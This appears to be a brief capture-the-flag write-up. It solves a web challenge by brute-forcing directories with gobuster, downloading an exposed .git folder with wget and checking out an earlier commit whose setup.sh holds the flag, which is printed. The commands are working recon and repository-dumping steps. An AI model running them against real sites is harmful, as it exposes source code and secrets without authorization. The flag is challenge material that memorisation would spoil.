gobuster
: gobuster dir -u https://cfta-wh02.allyourbases.co/ -t 200 --exclude-length 16 -w /usr/share/wordlists/dirb/common.txt
. We exclude the length 16
because 404 pages return HTTP status code 403 and have a length of 16. Running the command finds /.git/HEAD
, which means there is a publicly facing git repository on the website.wget -r -np -R "index.html*" https://cfta-wh02.allyourbases.co/.git/
. Run git checkout -- .
to restore index.html
since we only download the .git/
folder, not the entire working directory.git log
to look for previous commits. Sure enough there is one previous commit. Run git checkout 80e789704ddca67d772dbc34de1088e8c1917e9d
to revert to that previous version. There is now a setup.sh
file. cat setup.sh
shows the flag FLAG="giTisAGreat_ResoURCe8337"
giTisAGreat_ResoURCe8337